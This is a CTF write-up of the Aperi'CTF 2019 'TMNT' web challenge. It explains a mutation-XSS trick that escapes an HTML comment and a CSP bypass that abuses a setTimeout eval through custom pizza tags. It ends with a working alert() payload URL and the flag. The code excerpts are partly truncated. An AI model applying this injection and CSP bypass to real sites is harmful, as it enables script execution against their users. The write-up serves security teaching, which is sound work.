Aperi'CTF 2019 - Web (300 pts).

Aperi’CTF 2019 - TMNT

Challenge details

Event Challenge Category Points Solves
Aperi’CTF 2019 TMNT Web 300 6

Splinter commence à perdre la mémoire, il a donc développé un site web lui permettant de retrouver les informations sur les différents membres de son équipe. D’après lui son site ne contient aucune vulnérabilité, car tout est géré “côté client”. Prouvez-lui le contraire.

Note : Faites appel à un membre du staff afin de valider le challenge, l’exécution d’une XSS avec la fonction alert(); est suffisante.



Use mutant XSS to bypass filter in order to escape HTML comment. Bypass CSP exploiting customp pizza tag.



The challenge statement immediately guides us to a XSS, so we will enumerate the challenge with that in mind.

The challenge consists of 3 pages: index.html, main.js and PizzaJS.js.


The index contains a fairly simple search field, there is not much of interest except a meta tag defining the CSP.

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; object-src 'none'; script-src 'self' 'unsafe-eval';">

CSP : default-src 'self'; object-src 'none'; script-src 'self' 'unsafe-eval';


var user = {'name': 'Michelangelo', 'pizza_stock': 0, 'eated_pizza' : 0};

function wait(ms){
   var start = new Date().getTime();
   var end = start;
   while(end < start + ms) {
     end = new Date().getTime();

window.onload = function(e){ 

	p = document.querySelectorAll("pizza");

	for(var i = 0; i < p.length; i++) {
		if (p[i].getAttribute('cook') !== null) {
			if (p[i].getAttribute('nb') !== null) {
				user.pizza_stock += parseInt(p[i].getAttribute('nb'), 10);	
			} else {
				user.pizza_stock += 1;
		} else if (p[i].getAttribute('user') !== null) { = p[i].getAttribute('user');
		} else if (p[i].getAttribute('eat') !== null && p[i].getAttribute('nb') !== null) {
			if (parseInt(p[i].getAttribute('nb'), 10) <= user.pizza_stock) {
				user.eated_pizza += parseInt(p[i].getAttribute('nb'), 10);
				user.pizza_stock -= parseInt(p[i].getAttribute('nb'), 10);
			} else {
				console.log("Not enough pizza :'(");
			if (user.eated_pizza === 1337) {
				console.log( + " can't eat as much as he wants, he needs to take a break...");
				setTimeout('user.eated_pizza = 0; console.log("' + + ' digested everything!")', 3000);

PizzaJS seems to be a library that allows you to use a custom tag, pizza. However, no pizza tag is present in index.html.

On the other hand, we can notice the use of the setTimeout() function, which can be executed with arbitrary parameters. Knowing that setTimeout() behaves like eval(), if we control its parameters we can execute arbitrary javascript.


tmnt = [{'name': 'Leonardo', 'desc': 'The tactical, courageous leader and devoted student of his sensei.'},
    {'name': 'Michelangelo', 'desc' : 'The most stereotypical teenager of the team, he is a free-spirited, relaxed, goofy and jokester.'},
    {'name': 'Donatello', 'desc' : 'The scientist, inventor, engineer, and technological genius.'},
    {'name': 'Raphael', 'desc' : 'The team\'s bad boy, Raphael wears a red mask and wields a pair of sai.'},
    {'name': 'Splinter', 'desc' : 'The Turtles\' sensei and adoptive father, Splinter is a Japanese mutant rat.'}

s = new URL(window.location.href).searchParams.get('s');

if (s !== null) {
    desc = '';

    for(var i=0; i<tmnt.length; i++) {
        if(s.includes(tmnt[i]['name'])) {
            desc = tmnt[i].desc;
            name = tmnt[i].name;

    if (desc !== '') {
        tmp = document.createElement('template'); // Used to filter HTML / JS
        tmp.innerHTML = s.replace(/-->/g, ''); // Double security, we never know
        document.getElementById('data').innerHTML = '<!-- Search : ' + tmp.innerHTML + ' -->' + name + ' : ' + desc;
    } else {
        document.getElementById('data').innerHTML = 'No result';
} else {
    document.getElementById('suggestion').outerHTML = '';

main.js manages the search system using a JSON object. If he finds a result in the search, he will add the following content in index.html: '<!-- Search : ' + tmp.innerHTML + ' -->' + name + ' : ' + desc;

But before that it will pass search text through two filters, template and replace.

tmp = document.createElement('template'); // Used to filter HTML / JS
tmp.innerHTML = s.replace(/-->/g, ''); // Double security, we never know

HTML injection

The first step to execute javascript is to inject HTML, for this we will exploit main.js.

There are several conditions to meet to inject html into the page: - The search must contain a TMNT character name - Bypass the template protection - Bypass replace()

An interesting clue is in capital letters in the challenge: Teenage MUTANT Ninja Turtles Search, which leads us to a mutant XSS.

There is some documentation on the subject, including a very complete article by Cure53:

In our case the difficulty is to get out of an html comment. We start with a simple payload to see how the browser behaves.

Input: Raphael--->-> Output: <!-- Search : Raphael--&gt;-->

--> is removed from the string in order to reform another --> with the remaining elements. However, the template system replaces > with &gt;. This prevents us from closing the comment.

By doing fuzzing on HTML comments, I came up with this solution to close the comment.

Input: Raphael<!> Output: <-- Search : Raphael<!---->

But why does it work? <!> is mutated to <!----> by the browser, since replace() is done on <!> it doesn’t take anything away. As <!----> is injected into a comment, <!-- will be ignored and --> will close the comment. So we can inject html after \o/

Note: One of the CTF players (Yacine) has found an alternative method using an ? instead of !: Raphael<?>. That’s interesting, but I couldn’t find any documentation on it.

HTML injection PoC:<!><s>Raphael

<span id="data"><!-- Search : <!----><s>Raphael</s> --&gt;Raphael : The team's bad boy, Raphael wears a red mask and wields a pair of sai.</span>

CSP bypass

Now that we can injecting HTML, to execute Javscript we will have to bypass the CSP.

In order to facilitate the work we can use Google’s CSP evaluator, in order to find a potential configuration error: - script-src - ‘self’ can be problematic if you host JSONP, Angular or user uploaded files. - ‘unsafe-eval’ allows the execution of code injected into DOM APIs such as eval().

Woop! It sounds interesting, knowing that PizzaJS.js uses the setTimeout() which is equivalent to eval(). It’s therefore necessary to control the parameter passed to setTiemout().

I will not detail all the checks to pass, here is the HTML to exploit PizzaJS.js:

<pizza user='");alert("Raphael'> <!-- = '");alert("Raphael' -->
<pizza cook=1 nb=1337> <!-- user.pizza_stock = 1337 -->
<pizza eat=1 nb=1337>` <!-- user.eated_pizza = 1337 -->

Therefore setTimeout() will be executed as follows and execute alert():

setTimeout('user.eated_pizza = 0; console.log("");alert("Raphael digested everything!")', 3000);

This allows us to bypass the CSP and validate the challenge!

Final Payload<!><pizza/user='");alert("Raphael'><pizza/cook/nb=1337><pizza/eat/nb=1337>


The flag is given by the staff, after the validation of the payload : APRK{Mut4nT_D0M_b4s3D_R0p_C5p_byP455_X55}